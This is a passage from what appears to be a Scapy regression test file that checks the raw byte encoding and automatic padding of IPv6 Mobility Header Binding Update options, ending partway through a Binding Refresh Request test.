==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x07\\x07\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00'\nb = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptLLAddr()]))                 ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x00\\x07\\x07\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\nc = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*0),MIP6OptLLAddr()])) ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x00\\x07\\x07\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\nd = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*1),MIP6OptLLAddr()])) ==b';\\x03\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x01\\x00\\x07\\x07\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x05\\x00\\x00\\x00\\x00\\x00'\ne = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*2),MIP6OptLLAddr()])) ==b';\\x03\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x02\\x00\\x00\\x07\\x07\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x04\\x00\\x00\\x00\\x00'\ng = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*3),MIP6OptLLAddr()])) ==b';\\x03\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x03\\x00\\x00\\x00\\x07\\x07\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x03\\x00\\x00\\x00'\nh = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*4),MIP6OptLLAddr()])) ==b';\\x03\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x04\\x00\\x00\\x00\\x00\\x07\\x07\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x00\\x00'\ni = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*5),MIP6OptLLAddr()])) ==b';\\x03\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x07\\x07\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x01\\x00'\nj = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*6),MIP6OptLLAddr()])) ==b';\\x03\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x07\\x07\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00'\na and b and c and d and e and g and h and i and j\n\n                                                \n############\n############\n+ Mobility Options - Automatic Padding - MIP6OptMNID                             \n=  Mobility Options - Automatic Padding - MIP6OptMNID                            \na = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptMNID()]))                        ==b';\\x01\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x08\\x01\\x01\\x00'\nb = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptMNID()]))                 ==b';\\x01\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x00\\x08\\x01\\x01'\nc = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*0),MIP6OptMNID()])) ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x00\\x08\\x01\\x01\\x01\\x05\\x00\\x00\\x00\\x00\\x00'\nd = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*1),MIP6OptMNID()])) ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x01\\x00\\x08\\x01\\x01\\x01\\x04\\x00\\x00\\x00\\x00'\ne = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*2),MIP6OptMNID()])) ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x02\\x00\\x00\\x08\\x01\\x01\\x01\\x03\\x00\\x00\\x00'\ng = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*3),MIP6OptMNID()])) ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x03\\x00\\x00\\x00\\x08\\x01\\x01\\x01\\x02\\x00\\x00'\nh = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*4),MIP6OptMNID()])) ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x04\\x00\\x00\\x00\\x00\\x08\\x01\\x01\\x01\\x01\\x00'\ni = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*5),MIP6OptMNID()])) ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x08\\x01\\x01\\x01\\x00'\nj = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*6),MIP6OptMNID()])) ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x01\\x01\\x00'\na and b and c and d and e and g and h and i and j\n\n                                                \n############\n############\n+ Mobility Options - Automatic Padding - MIP6OptMsgAuth                          \n=  Mobility Options - Automatic Padding - MIP6OptMsgAuth                                 \na = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptMsgAuth()]))                        ==b';\\x03\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x00\\t\\x11\\x01\\x00\\x00\\x00\\x00AAAAAAAAAAAA'\nb = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptMsgAuth()]))                 ==b';\\x03\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x00\\t\\x11\\x01\\x00\\x00\\x00\\x00AAAAAAAAAAAA'\nc = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*0),MIP6OptMsgAuth()])) ==b';\\x04\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x00\\x01\\x01\\x00\\t\\x11\\x01\\x00\\x00\\x00\\x00AAAAAAAAAAAA\\x01\\x02\\x00\\x00'\nd = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*1),MIP6OptMsgAuth()])) ==b';\\x04\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x01\\x00\\x01\\x00\\t\\x11\\x01\\x00\\x00\\x00\\x00AAAAAAAAAAAA\\x01\\x02\\x00\\x00'\ne = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*2),MIP6OptMsgAuth()])) ==b';\\x04\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x02\\x00\\x00\\x00\\t\\x11\\x01\\x00\\x00\\x00\\x00AAAAAAAAAAAA\\x01\\x02\\x00\\x00'\ng = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*3),MIP6OptMsgAuth()])) ==b';\\x04\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x03\\x00\\x00\\x00\\t\\x11\\x01\\x00\\x00\\x00\\x00AAAAAAAAAAAA\\x01\\x02\\x00\\x00'\nh = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*4),MIP6OptMsgAuth()])) ==b';\\x04\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x04\\x00\\x00\\x00\\x00\\x01\\x01\\x00\\t\\x11\\x01\\x00\\x00\\x00\\x00AAAAAAAAAAAA'\ni = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*5),MIP6OptMsgAuth()])) ==b';\\x04\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\t\\x11\\x01\\x00\\x00\\x00\\x00AAAAAAAAAAAA'\nj = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*6),MIP6OptMsgAuth()])) ==b';\\x04\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\t\\x11\\x01\\x00\\x00\\x00\\x00AAAAAAAAAAAA'\na and b and c and d and e and g and h and i and j\n\n                                                \n############\n############\n+ Mobility Options - Automatic Padding - MIP6OptReplayProtection                                 \n=  Mobility Options - Automatic Padding - MIP6OptReplayProtection                                \na = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptReplayProtection()]))                        ==b';\\x03\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x04\\x00\\x00\\x00\\x00\\n\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x00\\x00'\nb = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptReplayProtection()]))                 ==b';\\x03\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x00\\x01\\x03\\x00\\x00\\x00\\n\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x00\\x00'\nc = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*0),MIP6OptReplayProtection()])) ==b';\\x03\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x00\\x01\\x02\\x00\\x00\\n\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x00\\x00'\nd = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*1),MIP6OptReplayProtection()])) ==b';\\x03\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x01\\x00\\x01\\x01\\x00\\n\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x00\\x00'\ne = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*2),MIP6OptReplayProtection()])) ==b';\\x03\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x02\\x00\\x00\\x01\\x00\\n\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x00\\x00'\ng = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*3),MIP6OptReplayProtection()])) ==b';\\x03\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x03\\x00\\x00\\x00\\x00\\n\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x00\\x00'\nh = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*4),MIP6OptReplayProtection()])) ==b';\\x03\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x04\\x00\\x00\\x00\\x00\\n\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x00\\x00'\ni = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*5),MIP6OptReplayProtection()])) ==b';\\x04\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\n\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x00\\x00'\nj = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*6),MIP6OptReplayProtection()])) ==b';\\x04\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x04\\x00\\x00\\x00\\x00\\n\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x00\\x00'\na and b and c and d and e and g and h and i and j\n\n                                                \n############\n############\n+ Mobility Options - Automatic Padding - MIP6OptCGAParamsReq                             \n=  Mobility Options - Automatic Padding - MIP6OptCGAParamsReq                            \na = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptCGAParamsReq()]))                        ==b';\\x01\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x0b\\x00\\x01\\x00'\nb = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptCGAParamsReq()]))                 ==b';\\x01\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x00\\x0b\\x00\\x00'\nc = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*0),MIP6OptCGAParamsReq()])) ==b';\\x01\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x00\\x0b\\x00'\nd = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*1),MIP6OptCGAParamsReq()])) ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x01\\x00\\x0b\\x00\\x01\\x05\\x00\\x00\\x00\\x00\\x00'\ne = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*2),MIP6OptCGAParamsReq()])) ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x02\\x00\\x00\\x0b\\x00\\x01\\x04\\x00\\x00\\x00\\x00'\ng = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*3),MIP6OptCGAParamsReq()])) ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x03\\x00\\x00\\x00\\x0b\\x00\\x01\\x03\\x00\\x00\\x00'\nh = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*4),MIP6OptCGAParamsReq()])) ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x04\\x00\\x00\\x00\\x00\\x0b\\x00\\x01\\x02\\x00\\x00'\ni = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*5),MIP6OptCGAParamsReq()])) ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x0b\\x00\\x01\\x01\\x00'\nj = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*6),MIP6OptCGAParamsReq()])) ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x0b\\x00\\x01\\x00'\na and b and c and d and e and g and h and i and j\n                                                \n\n############\n############\n+ Mobility Options - Automatic Padding - MIP6OptCGAParams                                \n=  Mobility Options - Automatic Padding - MIP6OptCGAParams                               \na = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptCGAParams()]))                        ==b';\\x01\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x0c\\x00\\x01\\x00'\nb = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptCGAParams()]))                 ==b';\\x01\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x00\\x0c\\x00\\x00'\nc = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*0),MIP6OptCGAParams()])) ==b';\\x01\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x00\\x0c\\x00'\nd = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*1),MIP6OptCGAParams()])) ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x01\\x00\\x0c\\x00\\x01\\x05\\x00\\x00\\x00\\x00\\x00'\ne = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*2),MIP6OptCGAParams()])) ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x02\\x00\\x00\\x0c\\x00\\x01\\x04\\x00\\x00\\x00\\x00'\ng = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*3),MIP6OptCGAParams()])) ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x03\\x00\\x00\\x00\\x0c\\x00\\x01\\x03\\x00\\x00\\x00'\nh = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*4),MIP6OptCGAParams()])) ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x04\\x00\\x00\\x00\\x00\\x0c\\x00\\x01\\x02\\x00\\x00'\ni = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*5),MIP6OptCGAParams()])) ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\x01\\x01\\x00'\nj = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*6),MIP6OptCGAParams()])) ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\x01\\x00'\na and b and c and d and e and g and h and i and j\n\n                                                \n############\n############\n+ Mobility Options - Automatic Padding - MIP6OptSignature                                \n=  Mobility Options - Automatic Padding - MIP6OptSignature                               \na = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptSignature()]))                        ==b';\\x01\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\r\\x00\\x01\\x00'\nb = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptSignature()]))                 ==b';\\x01\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x00\\r\\x00\\x00'\nc = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*0),MIP6OptSignature()])) ==b';\\x01\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x00\\r\\x00'\nd = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*1),MIP6OptSignature()])) ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x01\\x00\\r\\x00\\x01\\x05\\x00\\x00\\x00\\x00\\x00'\ne = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*2),MIP6OptSignature()])) ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x02\\x00\\x00\\r\\x00\\x01\\x04\\x00\\x00\\x00\\x00'\ng = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*3),MIP6OptSignature()])) ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x03\\x00\\x00\\x00\\r\\x00\\x01\\x03\\x00\\x00\\x00'\nh = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*4),MIP6OptSignature()])) ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x04\\x00\\x00\\x00\\x00\\r\\x00\\x01\\x02\\x00\\x00'\ni = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*5),MIP6OptSignature()])) ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x01\\x01\\x00'\nj = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*6),MIP6OptSignature()])) ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x01\\x00'\na and b and c and d and e and g and h and i and j\n\n                                                \n############\n############\n+ Mobility Options - Automatic Padding - MIP6OptHomeKeygenToken                          \n=  Mobility Options - Automatic Padding - MIP6OptHomeKeygenToken                                 \na = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptHomeKeygenToken()]))                        ==b';\\x01\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x0e\\x00\\x01\\x00'\nb = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptHomeKeygenToken()]))                 ==b';\\x01\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x00\\x0e\\x00\\x00'\nc = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*0),MIP6OptHomeKeygenToken()])) ==b';\\x01\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x00\\x0e\\x00'\nd = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*1),MIP6OptHomeKeygenToken()])) ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x01\\x00\\x0e\\x00\\x01\\x05\\x00\\x00\\x00\\x00\\x00'\ne = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*2),MIP6OptHomeKeygenToken()])) ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x02\\x00\\x00\\x0e\\x00\\x01\\x04\\x00\\x00\\x00\\x00'\ng = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*3),MIP6OptHomeKeygenToken()])) ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x03\\x00\\x00\\x00\\x0e\\x00\\x01\\x03\\x00\\x00\\x00'\nh = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*4),MIP6OptHomeKeygenToken()])) ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x04\\x00\\x00\\x00\\x00\\x0e\\x00\\x01\\x02\\x00\\x00'\ni = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*5),MIP6OptHomeKeygenToken()])) ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x0e\\x00\\x01\\x01\\x00'\nj = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*6),MIP6OptHomeKeygenToken()])) ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x0e\\x00\\x01\\x00'\na and b and c and d and e and g and h and i and j\n\n                                                \n############\n############\n+ Mobility Options - Automatic Padding - MIP6OptCareOfTestInit                           \n=  Mobility Options - Automatic Padding - MIP6OptCareOfTestInit                          \na = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptCareOfTestInit()]))                        ==b';\\x01\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x0f\\x00\\x01\\x00'\nb = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptCareOfTestInit()]))                 ==b';\\x01\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x00\\x0f\\x00\\x00'\nc = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*0),MIP6OptCareOfTestInit()])) ==b';\\x01\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x00\\x0f\\x00'\nd = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*1),MIP6OptCareOfTestInit()])) ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x01\\x00\\x0f\\x00\\x01\\x05\\x00\\x00\\x00\\x00\\x00'\ne = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*2),MIP6OptCareOfTestInit()])) ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x02\\x00\\x00\\x0f\\x00\\x01\\x04\\x00\\x00\\x00\\x00'\ng = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*3),MIP6OptCareOfTestInit()])) ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x03\\x00\\x00\\x00\\x0f\\x00\\x01\\x03\\x00\\x00\\x00'\nh = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*4),MIP6OptCareOfTestInit()])) ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x04\\x00\\x00\\x00\\x00\\x0f\\x00\\x01\\x02\\x00\\x00'\ni = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*5),MIP6OptCareOfTestInit()])) ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x0f\\x00\\x01\\x01\\x00'\nj = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*6),MIP6OptCareOfTestInit()])) ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x0f\\x00\\x01\\x00'\na and b and c and d and e and g and h and i and j\n\n                                                \n############\n############\n+ Mobility Options - Automatic Padding - MIP6OptCareOfTest                               \n=  Mobility Options - Automatic Padding - MIP6OptCareOfTest                              \na = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptCareOfTest()]))                        ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x10\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00'\nb = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptCareOfTest()]))                 ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x00\\x10\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\nc = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*0),MIP6OptCareOfTest()])) ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x00\\x10\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\nd = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*1),MIP6OptCareOfTest()])) ==b';\\x03\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x01\\x00\\x10\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x05\\x00\\x00\\x00\\x00\\x00'\ne = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*2),MIP6OptCareOfTest()])) ==b';\\x03\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x02\\x00\\x00\\x10\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x04\\x00\\x00\\x00\\x00'\ng = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*3),MIP6OptCareOfTest()])) ==b';\\x03\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x03\\x00\\x00\\x00\\x10\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x03\\x00\\x00\\x00'\nh = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*4),MIP6OptCareOfTest()])) ==b';\\x03\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x04\\x00\\x00\\x00\\x00\\x10\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x00\\x00'\ni = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*5),MIP6OptCareOfTest()])) ==b';\\x03\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x10\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x01\\x00'\nj = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*6),MIP6OptCareOfTest()])) ==b';\\x03\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00'\na and b and c and d and e and g and h and i and j\n\n\n############\n############\n+ Binding Refresh Request Message\n= MIP6MH_BRR - Build (default values)\nraw(IPv6(src=\"2001:db8::1\", dst=\"2001:db8::2\")/MIP6MH_BRR()) == b'`\\x00\\x00\\x00\\x00\\x08\\x87@ \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01 